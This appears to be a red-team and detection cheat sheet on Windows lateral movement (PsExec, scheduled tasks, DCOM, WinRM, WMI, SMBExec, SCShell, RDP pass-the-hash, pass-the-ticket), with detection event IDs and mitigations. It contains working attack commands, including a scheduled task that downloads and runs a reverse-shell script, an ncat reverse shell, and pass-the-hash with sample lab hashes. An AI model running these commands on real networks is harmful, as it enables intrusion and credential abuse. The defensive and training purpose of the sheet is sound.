Lateral Movement Techniques
-> Attacker abusing these feature below to perform Lateral Movement
-> LTM Sheet
-> LTM Command Line
1. PsExec/Winexec/ScExec
PsExec allows for remote command execution (and receipt of resulting output) over a
named pipe with the Server Message Block (SMB) protocol, which runs on TCP port 445.
How Does it work?
1. Copying of a service binary to the ADMIN$ share over SMB is performed.
2. Creation of a service on the remote machine is done by pointing to the binary.
3. The service is started remotely.
4. Upon exit, the service is stopped, and the binary is deleted.
Requires:
ADMIN$ share, which is a hidden share located on Windows devices. Only users with
administrative privileges can access ADMIN$.
Open port: 445/TCP (SMB)
Perform PsExec
Using Impacket:
Manual Execute command:
PsExec.exe \\COMPUTER_NAME -u <user> -p <password> <command>
or We can do following step to executing PsExec manually:
Create a payload binary that open a reverse shell to our machine (Use Metasploit,...)
Copy the binary to remote network folder:
copy payload.exe \\COMPUTER_NAME\<Folder>
Create a services and point to a uploaded binary:
sc \\COMPUTER_NAME create <service name> binPath="C:\Windows\payload.exe"
Start the service
sc \\COMPUTER_NAME start <service name>
Now we should receive a new meterpreter session.
Detection
There are several artifact that can help we detect and catch abnormal or malicious usage of the
PsExec:
Service creation
A windows event log is recorded whenever a service is created
Windows System Event Log:
Event ID 7045
Event details:
Service name
Service file path/file name:
Service account / privileges
Prefetch
Prefetch files are important evidence of execution in Windows systems. A prefetch file with the
extension “.pf” is created for any exe file that is executed on the system.
Details:
Last Run
Number of times run
On ThreatSonar, we can check these artifact through TIMELINE and inspect the life cycle of
the event
Named pipes
Named pipes facilitate inter-process communication in Windows. The named pipe technique
uses a file to exchange messages between the two processes.
Sysmon event ID 17: named pipe creation
Sysmon event ID 18: pipe connected
Details:
Check PipeName (\PSEXESVC)
References:
Perform:
https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-andservices/
https://hackersploit.org/windows-red-team-lateral-movement-with-psexec/
Detection:
https://www.hackthebox.com/blog/how-to-detect-psexec-and-lateral-movements
Over Service Control Manager (SCM) and create named pipe:
https://www.extrahop.com/blog/psexec-explanation-and-lateral-movement
https://www.mindpointgroup.com/blog/lateral-movement-with-psexec
2. AtExec / SchtasksExec
At or SchtasksExec allows to schedule tasks in hosts where you know
username/(password/Hash). So, you can use it to execute commands in other hosts and get
the output.
Perform SchtasksExec*
Create a scheduled task on a remote computer for persistence/lateral movement
How does it work?
1. Attacker on Host A uploads a payload to Host B via SMB, which will be the target of the
lateral movement
2. Attacker on Host A remotely creates a task on Host B to execute their payload or
command, calling the SchRpcRegisterTask operation
3. Attacker on Host A remotely runs the newly created task on Host B calling the
SchRpcRun operation
4. Host B initiates a connection to an address/host that Host A was also communicating
with (a shared C2 destination between the two hosts)
5. (Optional) Attacker on Host A remotely deletes the created task on Host B calling the
SchRpcDelete operation
Using Impacket: atexec.py:
Or execute command manually:
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00
/S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
Example on schedule a reverse shell using schtasks.exe:
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT
Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object
Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1'''
)'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
Detection
Windows events:
Event ID 7045: “A new service was installed on the system”
Event ID 4698: “A scheduled task was created”
File name:
taskschd.dll (on target machine)
schtasks.exe
Registry open/query:
HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tasks{GUID}\Actions
Command line:
cmd.exe /C ipconfig.exe > C:\Windows\Temp\EIoYascK.tmp 2>&1
In ThreatSonar, Also check the TINELINE in the report.
References:
https://lolbas-project.github.io/lolbas/Binaries/Schtasks/
https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-querylanguage
https://www.splunk.com/en_us/blog/security/active-directory-lateral-movement-detectionthreat-research-release-november-2021.html
3. DCOM Exec
COM (Component Object Model)
DCOM (Distributed Component Object Model)
DCOM is an extension of COM (Component Object Model), which allows applications to
instantiate and access the properties and methods of COM objects on a remote computer
just like objects on the local machine using the DCERPC-based DCOM protocol.
How does it work?
By using this DCOM application and the associated method, it is possible to pivot to a remote
host without using PsExec, WMI, or other well-known techniques.
Using Impacket dcomexec.py:
Check for which object you can use:
Perform DCOM Exec Manually:
MMC20.Application
Execute command (Powershell as administrator):
A list of DCOM applications can be retrieved using the PowerShell command:
Get-CimInstance Win32_DCOMApplication
$com =
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "
<IP_Address>"))
$com.Document.ActiveView | Get-Member ### list of Member
## then execute our payload throught ExecuteShellCommand
$com.Document.ActiveView.ExecuteShellCommand("C:Windows\System32\calc.exe",$nu
ll, $null, "7")
Use this technique to execute agent on target machine, then establish a reverse shell,...
Excel.Application
Lateral movement with Excel Object:
$com =
[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "
<IP_Address>"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd","/c calc.exe")
Note:
The executed command is run as a child process of Excel
Limitations: Name of application is limit at 8 characters.
.exe is automatically append to the end of application name
ShellWindows
Execute command:
$shell = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A811CF-A442-00A0C90A8F39", "127.0.0.1"))
$shell = $shell.Item()
$shell.Document.Application.ShellExecute("calc.exe")
Other CLSID that provide ShellExecute:
C08AFD90-F2A1-11D1-8455-00A0C91F3880 (ShellBrowserWindow)
Cons
Windows firewall will block this technique
Detection
File name / Process name:
mmc.exe
Chill process under Excel.exe
cmd.exe
Prevent/mitigate :
disable DCOM on computer: Enable or Disable DCOM
Make sure Firewall is enabled. (Firewall prevent DCOM instantiation as default)
Change the DCOM LaunchPermission, limit user
References:
Blogs:
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-applicationcom-object/
https://www.cybereason.com/blog/dcom-lateral-movement-techniques
Script:
https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_mo
vement/Invoke-DCOM.ps1
DCOM (Distributed Component Object Model):
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3dbd29-48cd-9f43-d9777a4415b0?redirectedfrom=MSDN
https://learn.microsoft.com/en-us/previous-versions/system-center/configurationmanager-2003/cc181199(v=technet.10)?redirectedfrom=MSDN
ShellWindows:
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
4. WinRM
Windows Remote Management (WinRM) is highlighted as a protocol by Microsoft that
enables the remote management of Windows systems through HTTP(S), leveraging SOAP
in the process. It's fundamentally powered by WMI, presenting itself as an HTTP-based
interface for WMI operations.
How does it work?
Port opened:
5985/TCP (HTTP)
5986/TCP (HTTPS)
Perform WinRM
Require on the Target:
Initiating a WinRM Session:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
trusted host)
#(Not requre credentials from
or enable remotely
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting force"
or through PsExec:
PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe
"enable-psremoting -force"
Test if configured:
Test-WSMan <target-ip>
On host machine we can execute command:
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Execute a Script:
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file
[-credential Domain\user]
Get a PS session
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41",
$password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (NewPSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption
(New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var
(New-PSSession...)
Detection
IoCs:
Command line: winrm quickconfig , other suspicious command, reverse shell,...
Connection on port 5985 or 5986
Prevent and Mitigate:
Config trusted host:
winrm set winrm/config/client '@{TrustedHosts="host1,host2"}'
Disable HTTP listener (Optional)
References:
https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm
https://redcanary.com/blog/threat-detection/lateral-movement-winrm-wmi/
https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/
https://www.hackingarticles.in/winrm-penetration-testing/
5. WmiExec
Windows Management Instrumentation (WMI) is the infrastructure for management data
and operations on Windows-based operating systems.
How does it work?
Processes can be opened on hosts where the username and either password or hash are
known through the use of WMI. Commands are executed using WMI by WmiExec, providing
a semi-interactive shell experience.
Using Impacket:
Get interactive shell command:
python3 wmiexec.py test.local/john:password123@10.10.10.1
or Remotely execute:
WMI for enumerate system information
Execute commands:
Get-WmiObject -ClassName win32_operatingsystem | select * | more
Get-WmiObject win32_process | Select Name, Processid
or through vmic
wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
Process Create
Remote execute:
wmic /node:hostname /user:<user> path win32_process call create "calc.exe"
# or "powershell.exe -NoP -sta -NonI -W Hidden -Enc
JABXAEMAPQBOAEUA...truncated.."
Powershell:
Invoke-WmiMethod -Comupter COMPUTERNAME -Class Win32_Process -Name create Argument "COMMAND" -Credential (Get-Credential)
Querying
See who logged on to a machine:
wmic /node:ordws01 path win32_loggedonuser get antecedent
Detection
script wmiexec.py: https://github.com/fortra/impacket/blob/master/examples/wmiexec.py
Process: WmiPrvSE.exe
Event with ID 4688: Process Command Line
Cons: On the victim machine, no window opened, no binary was dropped, no service was
created, and unless the machine is configured to log WMI-Activity, no easily traceable log
was left behind.
Command line: cmd.exe /Q /C <command> 1> \\\\127.0.0.1\ADMIN$\__<EPOCHTIME>
2>&1
Prevent and mitigation:
Limit the permissions for WMI namespaces (like root\cimv2) to only users or groups who
need them.
Disable WMI :V
References:
https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmic?redirectedfrom=MSDN
https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/
https://whiteknightlabs.com/2023/06/26/navigating-stealthy-wmi-lateral-movement/
6. SMBExec
Smbexec is a tool used for remote command execution on Windows systems, similar to
Psexec, but it avoids placing any malicious files on the target system.
How it works?
1. The attacker authenticates on the target system and a service is created
2. The service runs the command (the program needs to be already on the system)
3. The command output is saved to a file
4. The attacker gets the output from either the tool accessing the C$ share on the target
system and copying it or the target system will access a share on the source system.
PoC:
Execute command:
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
Commands Example
Creating and starting the service can be accomplished with the following commands:
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
Detection
IoCs
it's Semi interactive shell
File random_name.bat dropped and deleted immediately
Example user command:
C:\Windows\system32\cmd.exe /Q /c echo ipconfig ^> \\KINGSLANDING\C$\__output
2^>^&1 > C:\Windows\VOgVAIcS.bat & C:\Windows\system32\cmd.exe /Q /c
C:\Windows\VOgVAIcS.bat & del C:\Windows\VOgVAIcS.bat
ThreatSonar:
7. Service Config Manager (Tool)
Execute commands on a remote host by abusing service configuration manager by
changing the service binpath to your malicious command and restarting the service so your
payload gets executed
File less lateral movement.
PoC
Execute command:
SCShell.exe $TARGET_IP XblAuthManager "C:\Windows\System32\cmd.exe /c ncat.exe
$LOCAL_IP 5555 -e \"C:\Windows\System32\cmd.exe /c
(C:\Windows\System32\cmd.exe 2>&1)\"" . username password
Detection
Process:
Check for suspicious command line, usually "cmd.exe"
services.exe connection
References
https://www.ired.team/offensive-security/lateral-movement/lateral-movement-abusingservice-configuration-manager
https://github.com/Mr-Un1k0d3r/SCShell
https://github.com/frkngksl/NimExec
8. RDP
The Remote Desktop Protocol (RDP) is a Microsoft protocol that is installed on essentially
all Windows machines that a threat actor would be interested in. As a legitimate tool
developed by Microsoft, RDP is intended for IT administrators to conduct remote
administration of their company’s Windows clients and servers. However, cybercriminals
can abuse RDP to move laterally after they have gained initial access to an RDP-enabled
host.
Requirement:
Enable Remote desktop on target machine
Enable restrict admin (LOCAL):
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name
DisableRestrictedAdmin -Value 0
Query (REMOTE):
reg.py NORTH/catelyn.stark@$TARGET_IP -hashes
':cba36eccfd9d949c73bc73715364aff5' query -keyName
'HKLM\System\CurrentControlSet\Control\Lsa'
Create the key:
reg.py NORTH/catelyn.stark@192.168.56.11 -hashes
':cba36eccfd9d949c73bc73715364aff5' add -keyName
'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt
'REG_DWORD' -vd '0'
Connect using:
xfreerdp /u:catelyn.stark /d:north.sevenkingdoms.local
/pth:cba36eccfd9d949c73bc73715364aff5 /v:$TARGET_IP
Delete when finished:
reg.py NORTH/catelyn.stark@192.168.56.11 -hashes
':cba36eccfd9d949c73bc73715364aff5' delete -keyName
'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin'
Detection
Event ID 4624: Logon type 10: password remote
Registry query and set/delete: HKLM\System\CurrentControlSet\Control\Lsa
References
https://mayfly277.github.io/posts/GOADv2-pwning-part9/#using-rdp
Detail Event logs: https://www.thedfirspot.com/post/lateral-movement-remote-desktopprotocol-rdp-event-logs
Pass the ticket (For obtain credentials)
TGT (Ticket grant ticket)
Now we got the TGT of catelyn we will use it
Save the ticket:
getTGT.py -hashes ':cba36eccfd9d949c73bc73715364aff5'
north.sevenkingdoms.local/catelyn.stark
If you got an error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Use this to synchronize the host with the DC:
sudo ntpdate north.sevenkingdoms.local
export KRB5CCNAME=<path to catelyn.stark.ccache>
wmiexec.py -k -no-pass north.sevenkingdoms.local/catelyn.stark@$TARGET_IP
Or using Rubeus:
https://github.com/GhostPack/Rubeus
Rubeus will start monitoring for logon sessions every 30 seconds:
if anybody logs onto this system, we will obtain their TGT
Rubeus will detect this logon and obtain the TGT for this user, and output it as a base64
encoded string
Command line:
Rubeus.exe ptt /ticket:[Base64 string goes here]
Detection
Kerberos TGT
Event ID 4768: A Kerberos authentication ticket (TGT) was requested
Event ID 4769: A Kerberos service ticket was requested
References
https://www.netwrix.com/ntds_dit_security_active_directory.html
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/pass-theticket
Regex, detail how to detect PTT :https://blog.netwrix.com/2022/09/28/how-to-detect-passthe-ticket-attacks/